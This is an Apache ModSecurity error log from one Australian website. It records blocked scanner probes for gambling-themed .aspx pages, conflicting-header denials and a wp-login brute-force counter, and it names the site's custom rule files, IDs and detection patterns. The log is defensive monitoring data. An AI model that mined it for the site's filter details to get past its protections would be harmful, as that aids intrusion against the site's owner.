[Sat Mar 21 01:25:12.787174 2026] [:error] [pid 62476:tid 62490] [client 149.224.91.214:62044] [client 149.224.91.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "ab2C-GBL9BQ4RM1FKIB3gAAAAEc"]
[Sat Mar 21 01:25:15.870206 2026] [:error] [pid 62480:tid 62562] [client 149.224.91.214:62202] [client 149.224.91.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "ab2C-7q1lu6xCJtkVars2QAAAVg"]
[Sat Mar 21 01:25:19.295773 2026] [:error] [pid 62476:tid 62499] [client 149.224.91.214:60460] [client 149.224.91.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "ab2C_2BL9BQ4RM1FKIB3hwAAAFA"]
[Sat Mar 21 01:25:22.066314 2026] [:error] [pid 62754:tid 62833] [client 149.224.91.214:63806] [client 149.224.91.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "ab2DAhwXN_jHGJ5L7yFgvQAAABI"]
[Sat Mar 21 01:25:24.943903 2026] [:error] [pid 62754:tid 62826] [client 149.224.91.214:63344] [client 149.224.91.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "ab2DBBwXN_jHGJ5L7yFgxAAAAAs"]
[Sat Mar 21 01:25:27.721192 2026] [:error] [pid 62480:tid 62542] [client 149.224.91.214:62128] [client 149.224.91.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "ab2DB7q1lu6xCJtkVars6gAAAUQ"]
[Sat Mar 21 01:25:30.939759 2026] [:error] [pid 62480:tid 62547] [client 149.224.91.214:60487] [client 149.224.91.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "ab2DCrq1lu6xCJtkVars9QAAAUk"]
[Sat Mar 21 02:59:38.797287 2026] [:error] [pid 62479:tid 62532] [client 162.62.213.165:49766] [client 162.62.213.165] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ab2ZGvKZ7MVNG8qirU94BgAAARU"]
[Sat Mar 21 04:39:15.574505 2026] [:error] [pid 1489:tid 1505] [client 51.83.237.175:48256] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "ab2wc1RvnvBO_DG9kxvqlwAAAAI"]
[Sat Mar 21 04:39:18.528186 2026] [:error] [pid 1490:tid 1548] [client 51.83.237.175:34218] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto%20slot.aspx"] [unique_id "ab2wdmSWhIPTatyxDeBm-QAAAE0"]
[Sat Mar 21 04:39:21.554584 2026] [:error] [pid 1490:tid 1550] [client 51.83.237.175:34232] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "ab2weWSWhIPTatyxDeBnAgAAAE8"]
[Sat Mar 21 04:39:24.102326 2026] [:error] [pid 1601:tid 1622] [client 51.83.237.175:34244] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "ab2wfKdDBYVcyITq-IEf7wAAANE"]
[Sat Mar 21 04:39:26.961363 2026] [:error] [pid 1491:tid 1576] [client 51.83.237.175:34258] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "ab2wfq3VfHftzE9w9t6AqgAAAI0"]
[Sat Mar 21 04:39:29.528897 2026] [:error] [pid 1490:tid 1538] [client 51.83.237.175:59814] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "ab2wgWSWhIPTatyxDeBnEgAAAEU"]
[Sat Mar 21 04:39:32.176315 2026] [:error] [pid 1491:tid 1576] [client 51.83.237.175:59826] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "ab2whK3VfHftzE9w9t6AswAAAI0"]
[Sat Mar 21 04:39:34.802702 2026] [:error] [pid 1489:tid 1527] [client 51.83.237.175:59838] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "ab2whlRvnvBO_DG9kxvqrAAAABc"]
[Sat Mar 21 04:39:37.236681 2026] [:error] [pid 1491:tid 1579] [client 51.83.237.175:59850] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "ab2wia3VfHftzE9w9t6AxAAAAJA"]
[Sat Mar 21 04:39:39.795620 2026] [:error] [pid 1491:tid 1587] [client 51.83.237.175:40064] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "ab2wi63VfHftzE9w9t6AygAAAJc"]
[Sat Mar 21 04:39:42.385244 2026] [:error] [pid 1601:tid 1619] [client 51.83.237.175:40068] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "ab2wjqdDBYVcyITq-IEgPAAAAM4"]
[Sat Mar 21 04:39:45.136790 2026] [:error] [pid 1489:tid 1506] [client 51.83.237.175:40078] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "ab2wkVRvnvBO_DG9kxvqswAAAAM"]
[Sat Mar 21 04:39:47.810509 2026] [:error] [pid 1601:tid 1617] [client 51.83.237.175:51670] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "ab2wk6dDBYVcyITq-IEgUQAAAMw"]
[Sat Mar 21 04:39:50.425974 2026] [:error] [pid 1491:tid 1582] [client 51.83.237.175:51672] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "ab2wlq3VfHftzE9w9t6A5wAAAJI"]
[Sat Mar 21 04:39:52.964226 2026] [:error] [pid 1601:tid 1609] [client 51.83.237.175:51676] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "ab2wmKdDBYVcyITq-IEgZgAAAMQ"]
[Sat Mar 21 04:39:55.591536 2026] [:error] [pid 1489:tid 1505] [client 51.83.237.175:51684] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "ab2wm1RvnvBO_DG9kxvqyAAAAAI"]
[Sat Mar 21 04:39:58.184572 2026] [:error] [pid 1491:tid 1577] [client 51.83.237.175:49370] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "ab2wnq3VfHftzE9w9t6A-gAAAI4"]
[Sat Mar 21 04:40:00.756172 2026] [:error] [pid 1601:tid 1607] [client 51.83.237.175:49386] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "ab2woKdDBYVcyITq-IEggQAAAMI"]
[Sat Mar 21 04:40:03.384700 2026] [:error] [pid 1601:tid 1620] [client 51.83.237.175:49398] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "ab2wo6dDBYVcyITq-IEgjgAAAM8"]
[Sat Mar 21 04:40:06.293000 2026] [:error] [pid 1601:tid 1612] [client 51.83.237.175:49414] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "ab2wpqdDBYVcyITq-IEgowAAAMc"]
[Sat Mar 21 04:40:08.848308 2026] [:error] [pid 1490:tid 1560] [client 51.83.237.175:46982] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "ab2wqGSWhIPTatyxDeBnTAAAAFg"]
[Sat Mar 21 04:40:11.543698 2026] [:error] [pid 1489:tid 1519] [client 51.83.237.175:46992] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "ab2wq1RvnvBO_DG9kxvq7QAAAA8"]
[Sat Mar 21 06:51:55.110464 2026] [:error] [pid 1601:tid 1612] [client 125.94.144.102:53550] [client 125.94.144.102] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ab3Pi6dDBYVcyITq-IFOBQAAAMc"]
[Sat Mar 21 07:20:58.602539 2026] [:error] [pid 1601:tid 1605] [client 204.12.215.52:27187] [client 204.12.215.52] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 204.12.215.52, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ab3WWqdDBYVcyITq-IFXUgAAAMA"], referer: http://www.google.com.hk
[Sat Mar 21 08:48:34.105385 2026] [:error] [pid 42886:tid 42903] [client 103.4.122.14:60034] [client 103.4.122.14] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "66.249.77.195_8ba7ee7baf185439b4532ff6d673cb715a8d8932"): Internal error (specific information not available) [hostname "vetstars.com.au"] [uri "/wp-cron.php"] [unique_id "ab3q31452dC6nbNWav3qCwAAAw8"]
[Sat Mar 21 10:13:53.926840 2026] [:error] [pid 1489:tid 1508] [client 43.153.123.4:37962] [client 43.153.123.4] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ab3-4VRvnvBO_DG9kxs6LwAAAAU"]
[Sat Mar 21 13:57:59.646770 2026] [:error] [pid 1489:tid 1517] [client 110.166.71.39:50864] [client 110.166.71.39] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ab4zZ1RvnvBO_DG9kxuIOAAAAA0"]
[Sat Mar 21 18:00:04.299477 2026] [:error] [pid 1489:tid 1505] [client 101.33.81.73:34356] [client 101.33.81.73] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ab5sJFRvnvBO_DG9kxvfegAAAAI"]
[Sat Mar 21 18:58:48.272569 2026] [:error] [pid 43052:tid 43078] [client 147.135.213.175:49826] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "ab556F5fjm-AiInC1hL-bQAAA5g"]
[Sat Mar 21 18:58:50.676204 2026] [:error] [pid 49170:tid 49173] [client 147.135.213.175:44288] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "ab556r1KUC-QISS0eWrEVAAAAQE"]
[Sat Mar 21 18:58:53.198414 2026] [:error] [pid 1489:tid 1518] [client 147.135.213.175:44300] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "ab557VRvnvBO_DG9kxvucAAAAA4"]
[Sat Mar 21 18:58:55.557891 2026] [:error] [pid 43052:tid 43061] [client 147.135.213.175:44310] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "ab55715fjm-AiInC1hL-eQAAA4c"]
[Sat Mar 21 18:58:58.073527 2026] [:error] [pid 49170:tid 49176] [client 147.135.213.175:44314] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "ab558r1KUC-QISS0eWrEZwAAAQQ"]
[Sat Mar 21 18:59:00.591549 2026] [:error] [pid 42886:tid 42908] [client 147.135.213.175:42794] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "ab559F452dC6nbNWav1oywAAAxQ"]
[Sat Mar 21 18:59:03.089384 2026] [:error] [pid 43052:tid 43066] [client 147.135.213.175:42798] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "ab55915fjm-AiInC1hL-jgAAA4w"]
[Sat Mar 21 18:59:05.590888 2026] [:error] [pid 33584:tid 33600] [client 147.135.213.175:42812] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "ab55-eATEQBBo5z2HkmO0wAAAc4"]
[Sat Mar 21 18:59:08.122196 2026] [:error] [pid 43052:tid 43062] [client 147.135.213.175:42816] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "ab55_F5fjm-AiInC1hL-mAAAA4g"]
[Sat Mar 21 18:59:10.617553 2026] [:error] [pid 33678:tid 33681] [client 147.135.213.175:59958] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "ab55_juClB_om73sXhde1wAAAgE"]
[Sat Mar 21 18:59:13.133065 2026] [:error] [pid 49170:tid 49194] [client 147.135.213.175:59968] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "ab56Ab1KUC-QISS0eWrEhgAAARY"]
[Sat Mar 21 18:59:15.646888 2026] [:error] [pid 43052:tid 43065] [client 147.135.213.175:59980] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "ab56A15fjm-AiInC1hL-rwAAA4s"]
[Sat Mar 21 18:59:18.147864 2026] [:error] [pid 49170:tid 49188] [client 147.135.213.175:59986] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "ab56Br1KUC-QISS0eWrEmAAAARA"]
[Sat Mar 21 18:59:20.639955 2026] [:error] [pid 43052:tid 43071] [client 147.135.213.175:39252] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "ab56CF5fjm-AiInC1hL-1QAAA5E"]
[Sat Mar 21 18:59:23.151981 2026] [:error] [pid 42886:tid 42905] [client 147.135.213.175:39254] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "ab56C1452dC6nbNWav1o7wAAAxE"]
[Sat Mar 21 18:59:25.647385 2026] [:error] [pid 1489:tid 1527] [client 147.135.213.175:39256] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "ab56DVRvnvBO_DG9kxvupAAAABc"]
[Sat Mar 21 18:59:28.162492 2026] [:error] [pid 43052:tid 43054] [client 147.135.213.175:39264] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "ab56EF5fjm-AiInC1hL-4gAAA4A"]
